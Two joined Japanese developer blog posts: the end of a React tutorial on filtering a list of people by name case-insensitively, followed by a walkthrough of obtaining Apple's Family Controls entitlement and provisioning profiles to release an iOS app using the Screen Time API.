      <input
        type='text'
        placeholder='Search by name'
        value={filterVal}
        onChange={(e) => setFilterVal(e.target.value)}
      />
      {persons
        .filter((person) => person.name.indexOf(filterVal) !== -1)
        .map((person) => (
          <div key={person.name}>
            <h2>Name: {person.name}</h2>
            <p>Age: {person.age}</p>
            <p>Country: {person.country}</p>
          </div>
        ))}
    </>
  );
};

export default Filter;

```

フィルター前とフィルター後でこのようになります。

<img width="200" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3124886/83a07039-b485-9a4e-e391-d62a41706dff.png">
<img width="200" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3124886/d12b122d-9770-2dea-89fa-436239e6d656.png">

# 検索の時に大文字小文字の区別をなくす
今のコードでは大文字と小文字を区別しているので仮に'takeshi'と入れたら何も表示されなくなります。
これを修正するにはtoLowerCase()を使います。
```React
.filter((post) => 
post.name.toLowerCase().indexOf(filterVal.toLowerCase()) !== -1)
```
このようにpost.nameとfilterValを両方小文字に変換することで区別をなくすことができます。
Screen Time APIを用いたiOSアプリをストアにリリースするまで

### 審査に提出するまでにやること
##### 1. Screen Time APIの使用許可を得る
Screen Time APIを使用するには通常のアプリ審査以外にScreen Time APIの使用をAppleから許可してもらう必要がある。[許可申請フォーム](https://developer.apple.com/contact/request/family-controls-distribution)に必要項目を記入して送信すると、送信完了画面が表示される。確認メールは届かない。
申請の結果メールが届くまでなんと５週間もかかった、途中不安になって２回ほど再送信したので、再送信で並び直しになっているのだとしたらもう少しはやく結果が来るのかもしれない。それでも２週間以上はかかる。
申請許可メールの文面はこんな感じ
>The entitlement for Family Controls (Distribution) has been assigned to your account, and you can now configure this capability for eligible apps

この許可は開発者全員に付与されるのか、ある程度実績が必要なのかは今のところわからない。

追記：2023.5現在デベロッパーフォーラムには２ヶ月待っても返信がないとの書き込みもある

##### 2. AppIDとProvisioning Profileを作り直す
1の許可が得られたことでデベロッパーページのCertificates, Identifiers & Profiles > Identifierの機能拡張を追加するページにAdditional Capabilitiesのタブが追加されている。![スクリーンショット 2023-04-12 8.01.41.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/117011/e5bf26f1-d111-f4f1-41ae-fb986eba2b5a.png)
ここのFamilyControlにチェックを入れることでProvisioning Profileにcom.apple.developer.family-controlsが付与される。
![スクリーンショット 2023-04-12 8.03.29.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/117011/687433c2-3f01-9de6-30ce-3a292cbdd969.png)

そしてこれで提出すればOK！というわけではなく、Provisioning Profileを制作したアプリに追加している機能拡張の個数分作ってXcodeから手動でリンクさせる必要がある。通常はXcode14以上だとAutomaticallyにチェックを入れておけば、勝手にいい感じにしてくれるのだがAdditional CapabilitiesをアクティブにしたProvisioning Profileをリンクさせるには手動でやる必要がある。
![スクリーンショット 2023-04-12 8.09.20.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/117011/71260344-d986-1e64-730b-cab6827afe88.png)
Automaticallyにチェックを入れただけでも実機ビルドは通るのだが、IPAをアップルに送信しようとすると以下のようにはじかれる。![407d5739-82ce-44a0-86c8-ff4166f45ff6.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/117011/c98e20a6-bee3-3c0d-3879-85b5fbc56bb0.png)

ということで、Certificates, Identifiers & ProfilesのページからIdentifiersとProfilesで新規作成を繰り返して必要分のProvisioning Profileを作成する。今回は４つ作成した。
AppGroupを使用している場合はIDを作成後もう一度作成したIDに戻って使用するAppGroup名にチェックを入れないとアクティブにならないので注意だ。

Provisioning Profile作成後Xcodeに戻ってAutomatically manageのチェックを外して、自分のTeam名を選択し、当該のProfileをダウンロードする、これを機能拡張の個数分行う。
![スクリーンショット 2023-04-12 8.23.51.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/117011/80a578db-7158-eb11-582b-55a7b669b57c.png)

Unityで少し修正して書き出ししなおしたらLinkerエラーがいくつか出たけどターミナルでpodをインストールしなおしたらエラーが取れて、無事にIPA提出できた。
```
pod deintegrate
pod install
```
Screen Time APを用いたアプリはまだレビュアーの間でもちゃんと周知されていないらしいので、審査でも一悶着ありそう、またなにかあれば追記します。

追記　審査通過。ただいつもはInReviewに入ってから数時間で通るのに今回は３日かかった。新規アプリで日本語のみ対応なのも原因かも。

追記　リリースから５回ぐらいアップデートかけてるけどIn Reviewに入ってから絶対に36時間以上かかる。明らかに他のアプリより遅い。